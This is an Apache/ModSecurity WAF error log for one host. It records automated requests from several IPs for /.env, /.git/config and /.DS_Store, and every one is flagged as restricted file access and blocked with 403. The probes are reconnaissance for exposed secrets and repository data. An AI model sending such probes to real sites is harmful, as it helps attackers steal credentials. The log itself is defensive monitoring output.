[Mon Oct 27 23:35:42.942051 2025] [:error] [pid 3816574] [client 209.38.248.17:52248] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aP_zvk2OVaaFkQE4MuInWAAAAAY&quot;]
[Mon Oct 27 23:35:42.993166 2025] [:error] [pid 3816547] [client 209.38.248.17:52264] [client 209.38.248.17] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aP_zvrSCfEbmUsWS33yaywAAAAE&quot;]
[Mon Oct 27 23:35:42.993386 2025] [:error] [pid 3816547] [client 209.38.248.17:52264] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aP_zvrSCfEbmUsWS33yaywAAAAE&quot;]
[Mon Oct 27 23:35:42.993542 2025] [:error] [pid 3816547] [client 209.38.248.17:52264] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aP_zvrSCfEbmUsWS33yaywAAAAE&quot;]
[Mon Oct 27 23:35:43.044441 2025] [:error] [pid 3816546] [client 209.38.248.17:52274] [client 209.38.248.17] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aP_zv0R7aPhRTjjARXw9SwAAAAA&quot;]
[Mon Oct 27 23:35:43.044656 2025] [:error] [pid 3816546] [client 209.38.248.17:52274] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aP_zv0R7aPhRTjjARXw9SwAAAAA&quot;]
[Mon Oct 27 23:35:43.044829 2025] [:error] [pid 3816546] [client 209.38.248.17:52274] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aP_zv0R7aPhRTjjARXw9SwAAAAA&quot;]
[Mon Oct 27 23:57:11.221429 2025] [:error] [pid 3816546] [client 96.41.38.202:46714] [client 96.41.38.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aP_4x0R7aPhRTjjARXw9VgAAAAA&quot;]
[Mon Oct 27 23:57:11.221742 2025] [:error] [pid 3816546] [client 96.41.38.202:46714] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aP_4x0R7aPhRTjjARXw9VgAAAAA&quot;]
[Mon Oct 27 23:57:11.221968 2025] [:error] [pid 3816546] [client 96.41.38.202:46714] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aP_4x0R7aPhRTjjARXw9VgAAAAA&quot;]
[Mon Oct 27 23:57:11.444356 2025] [:error] [pid 3816546] [client 96.41.38.202:46714] [client 96.41.38.202] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aP_4x0R7aPhRTjjARXw9VwAAAAA&quot;]
[Mon Oct 27 23:57:11.444681 2025] [:error] [pid 3816546] [client 96.41.38.202:46714] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aP_4x0R7aPhRTjjARXw9VwAAAAA&quot;]
[Mon Oct 27 23:57:11.444895 2025] [:error] [pid 3816546] [client 96.41.38.202:46714] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aP_4x0R7aPhRTjjARXw9VwAAAAA&quot;]
[Tue Oct 28 00:36:48.182400 2025] [:error] [pid 3817464] [client 96.41.38.202:43262] [client 96.41.38.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQACEFCD3k3m6wn0QZ3P-wAAAAY&quot;]
[Tue Oct 28 00:36:48.182862 2025] [:error] [pid 3817464] [client 96.41.38.202:43262] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQACEFCD3k3m6wn0QZ3P-wAAAAY&quot;]
[Tue Oct 28 00:36:48.183062 2025] [:error] [pid 3817464] [client 96.41.38.202:43262] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQACEFCD3k3m6wn0QZ3P-wAAAAY&quot;]
[Tue Oct 28 00:36:48.410547 2025] [:error] [pid 3817464] [client 96.41.38.202:43262] [client 96.41.38.202] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQACEFCD3k3m6wn0QZ3P_AAAAAY&quot;]
[Tue Oct 28 00:36:48.410969 2025] [:error] [pid 3817464] [client 96.41.38.202:43262] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQACEFCD3k3m6wn0QZ3P_AAAAAY&quot;]
[Tue Oct 28 00:36:48.411227 2025] [:error] [pid 3817464] [client 96.41.38.202:43262] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQACEFCD3k3m6wn0QZ3P_AAAAAY&quot;]
[Tue Oct 28 05:24:23.932718 2025] [:error] [pid 3819781] [client 13.217.209.78:39292] [client 13.217.209.78] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQBFdyemdjGHqXki4RKK4gAAAAM&quot;]
[Tue Oct 28 05:24:23.933014 2025] [:error] [pid 3819781] [client 13.217.209.78:39292] [client 13.217.209.78] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQBFdyemdjGHqXki4RKK4gAAAAM&quot;]
[Tue Oct 28 05:24:23.933188 2025] [:error] [pid 3819781] [client 13.217.209.78:39292] [client 13.217.209.78] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQBFdyemdjGHqXki4RKK4gAAAAM&quot;]
[Tue Oct 28 06:49:07.975866 2025] [:error] [pid 3819778] [client 213.209.157.244:49046] [client 213.209.157.244] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQBZU9kLnaGH-0JONzc_FgAAAAA&quot;]
[Tue Oct 28 06:49:07.976168 2025] [:error] [pid 3819778] [client 213.209.157.244:49046] [client 213.209.157.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQBZU9kLnaGH-0JONzc_FgAAAAA&quot;]
[Tue Oct 28 06:49:07.976352 2025] [:error] [pid 3819778] [client 213.209.157.244:49046] [client 213.209.157.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQBZU9kLnaGH-0JONzc_FgAAAAA&quot;]
[Tue Oct 28 16:49:28.516009 2025] [:error] [pid 3831993] [client 34.74.206.114:41650] [client 34.74.206.114] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQDmCBJAUclTzSyltLpqKwAAAAo&quot;]
[Tue Oct 28 16:49:28.516238 2025] [:error] [pid 3831993] [client 34.74.206.114:41650] [client 34.74.206.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQDmCBJAUclTzSyltLpqKwAAAAo&quot;]
[Tue Oct 28 16:49:28.516429 2025] [:error] [pid 3831993] [client 34.74.206.114:41650] [client 34.74.206.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQDmCBJAUclTzSyltLpqKwAAAAo&quot;]
[Tue Oct 28 19:45:43.058653 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQEPVxJAUclTzSyltLpqRAAAAAo&quot;]
[Tue Oct 28 19:45:43.062673 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQEPVxJAUclTzSyltLpqRAAAAAo&quot;]
[Tue Oct 28 19:45:43.062890 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQEPVxJAUclTzSyltLpqRAAAAAo&quot;]
[Tue Oct 28 19:45:43.613365 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQEPVxJAUclTzSyltLpqRQAAAAo&quot;]
[Tue Oct 28 19:45:43.617323 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQEPVxJAUclTzSyltLpqRQAAAAo&quot;]
